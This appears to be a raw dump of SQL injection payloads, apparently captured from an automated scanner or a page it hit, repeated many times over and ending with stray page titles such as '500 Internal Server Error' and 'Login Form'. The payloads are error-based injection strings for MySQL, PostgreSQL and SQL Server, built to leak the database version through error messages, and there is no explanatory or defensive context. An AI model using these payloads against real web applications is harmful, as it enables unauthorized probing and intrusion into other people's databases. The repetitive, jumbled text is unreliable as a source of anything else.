test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

testAND 1=CONVERT(INT, (SELECT @@VERSION))--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test' AND 1=CONVERT(INT, (SELECT @@VERSION)) AND '1'='1

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

testAND 1=CONVERT(INT, (SELECT @@VERSION))--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test' AND 1=CONVERT(INT, (SELECT @@VERSION)) AND '1'='1

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

testAND 1=CONVERT(INT, (SELECT @@VERSION))--

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test' AND 1=CONVERT(INT, (SELECT @@VERSION)) AND '1'='1

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

testAND 1=CONVERT(INT, (SELECT @@VERSION))--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

testAND 1=CONVERT(INT, (SELECT @@VERSION))--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test' AND 1=CONVERT(INT, (SELECT @@VERSION)) AND '1'='1

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

500 Internal Server Error

Login Form

My Resource

Blog Comments